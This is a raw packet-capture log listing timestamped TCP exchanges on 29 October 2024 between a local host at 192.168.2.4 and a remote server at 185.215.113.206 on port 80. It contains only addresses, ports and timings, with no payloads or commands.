Oct 29, 2024 04:52:32.520442009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520447016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520462990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520467043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520477057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520479918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520498037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520502090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520513058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520529032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520528078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520530939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520545006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520546913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520565987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520575047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521248102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521264076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521276951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521291018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521298885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521305084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521307945 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521321058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521332979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521336079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521342993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521352053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521356106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521367073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521373034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521384001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521389961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521399975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521404028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521415949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521423101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521431923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.521435022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521457911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.521466970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522181034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522197962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522212029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522223949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522228003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522233963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522243977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522252083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522259951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522272110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522274971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522284031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522294044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522314072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522314072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522330999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522346020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522351027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522351027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522361040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522376060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522377968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522377968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522389889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522392035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522408962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522416115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522429943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522449970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.522953033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.522996902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.558660030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.558712006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.558727980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.558742046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.558770895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.558772087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.558868885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.558885098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.558906078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.558921099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.558928013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.558928013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.558936119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.558948994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.558974028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.558999062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.632837057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.632884979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.632951975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.632968903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.632975101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633011103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633028984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633074045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633141994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633156061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633178949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633194923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633239031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633253098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633265972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633275986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633280993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633287907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633306026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633313894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633452892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633475065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633490086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633491039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633508921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633524895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633579016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633616924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633670092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633685112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633698940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633708000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633713961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633718014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633728981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633735895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633752108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633769989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633877039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633917093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633951902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633966923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633981943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.633989096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.633999109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634004116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634015083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634021997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634040117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634049892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634412050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634428024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634442091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634450912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634457111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634460926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634473085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634479046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634489059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634505033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634506941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634506941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634520054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634521961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634535074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634546041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634567022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634567022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634593964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634604931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.634984970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.634999037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635011911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635026932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635029078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635040998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635050058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635057926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635071993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635093927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635386944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635401964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635417938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635426998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635445118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635457993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635464907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635473967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635488987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635503054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635505915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635505915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635519028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635528088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635535002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635536909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635550976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635557890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635565996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635575056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635581970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635582924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635597944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635601997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635612965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.635620117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635627985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.635648966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636383057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636398077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636414051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636421919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636431932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636432886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636447906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636455059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636462927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636466026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636478901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636478901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636495113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636501074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636511087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636512041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636526108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636533976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636543036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636544943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636568069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636569977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636584997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636590004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636600971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.636600971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.636626005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637250900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637273073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637280941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637280941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637288094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637304068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637306929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637319088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637324095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637335062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637339115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637351990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637353897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637367010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637372017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637382030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637387991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637398005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637406111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637412071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637427092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637428045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637427092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637444973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637444973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637461901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637468100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637479067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.637482882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637501955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.637511015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.638123989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638139009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638153076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638168097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638171911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.638184071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638190985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.638201952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638212919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.638216972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638232946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638238907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.638247967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638259888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.638262033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638279915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638286114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.638295889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638303041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.638313055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.638334990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.638355017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.639050007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639065027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639080048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639087915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639091969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.639096975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639105082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639118910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639137030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639151096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639166117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639180899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639198065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639202118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.639213085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639214039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.639229059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639236927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.639261961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.639866114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639880896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639894962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639918089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639931917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639933109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.639949083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639950991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.639962912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.639975071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.639998913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.675626993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.675676107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.675798893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.675820112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.675834894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.675848961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.675849915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.675865889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.675877094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.675888062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.675890923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.675925016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.675968885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.675985098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.676003933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.676018953 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.676121950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.676136971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.676162004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.676173925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.676192999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.676208973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.676230907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.676242113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750021935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750101089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750166893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750181913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750189066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750196934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750205040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750303984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750317097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750320911 CET	80	49760	185.215.113.206	192.168.2.4
